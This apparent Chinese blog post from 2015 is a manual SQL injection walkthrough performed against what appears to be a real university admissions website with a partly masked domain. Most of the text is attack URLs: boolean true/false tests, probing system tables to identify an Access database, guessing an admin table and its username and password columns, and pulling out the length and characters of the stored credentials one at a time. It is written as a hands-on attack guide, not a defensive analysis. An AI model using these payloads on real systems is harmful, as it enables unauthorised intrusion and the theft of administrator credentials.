SQL注入这么长时间,看见有的朋友还是不会手工注入,那么我来演示一下。高手略过。

我们大家知道,一般注入产生在没经过虑的变量上,像ID?=XX这样的。

下面以这个网址为例:

http://zsb.xxx.edu.cn/2j.asp?id=24 and 1=1 返回了正常

http://zsb.xxx.edu.cn/2j.asp?id=24 and 1=2 返回了错误

1=1是一个真,1=2是一假,所以会返回一个正常一个错误。

SQL数据就会变成如下:

select * from 表名 where 字段='24'

或者:

http://zsb.xxx.edu.cn/2j.asp?id=24 and '1'='1'

http://zsb.xxx.edu.cn/2j.asp?id=24 and '1'='2'

注入存在了,判断数据库是ACC或MSS的,利用系统表

ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限,而SQL-SERVER的系统表是sysobjects,

在WEB环境下有访问权限。对于以下两条语句:

http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(*) from sysobjects)>0

http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(*) from msysobjects)>0

若数据库是SQL-SERVE,则第一条,网页,一定运行正常,第二条则异常;若是ACCESS则两条都会异常。

我们提交后两条后都为异常,可以判断为ACC的数据库。

图3。

http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(*) from 表名)>0

如果表名存在就会返回正常,反页错误。

刚开始我提交:

http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(*) from admin)>0

返回错误,说明不存在ADMIN这个表,当后来提交这个返回正常:

http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(*) from article_admin)>0

说明存在article_admin这个表。

猜列名:

and (select count(字段名) from article_admin)>0

提交:

http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(username) from article_admin)>0

返回了正常,接着提交:

http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(password) from article_admin)>0

返回了正常,说明存在username和password这两个字段名。

猜用户名和密码长度;

http://zsb.xxx.edu.cn/2j.asp?id=24 and (select top 1 len(username) from article_admin)=5

返回正常,说明username内容长度为5

http://zsb.xxx.edu.cn/2j.asp?id=24 and (select top 1 len(password) from article_admin)=16

正常,password内容长度为16,也就是MD5的值。

猜用户名和密码内容:

http://zsb.xxx.edu.cn/2j.asp?id=24 and (select top 1 asc(mid(username,1,1)) from article_admin)=97

返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。

猜第二位把username,1,1改成username,2,1就可以了。

猜密码把username改成password就OK了

posted on 2015-03-22 21:20  milantgh  阅读(1567)  评论(0编辑  收藏  举报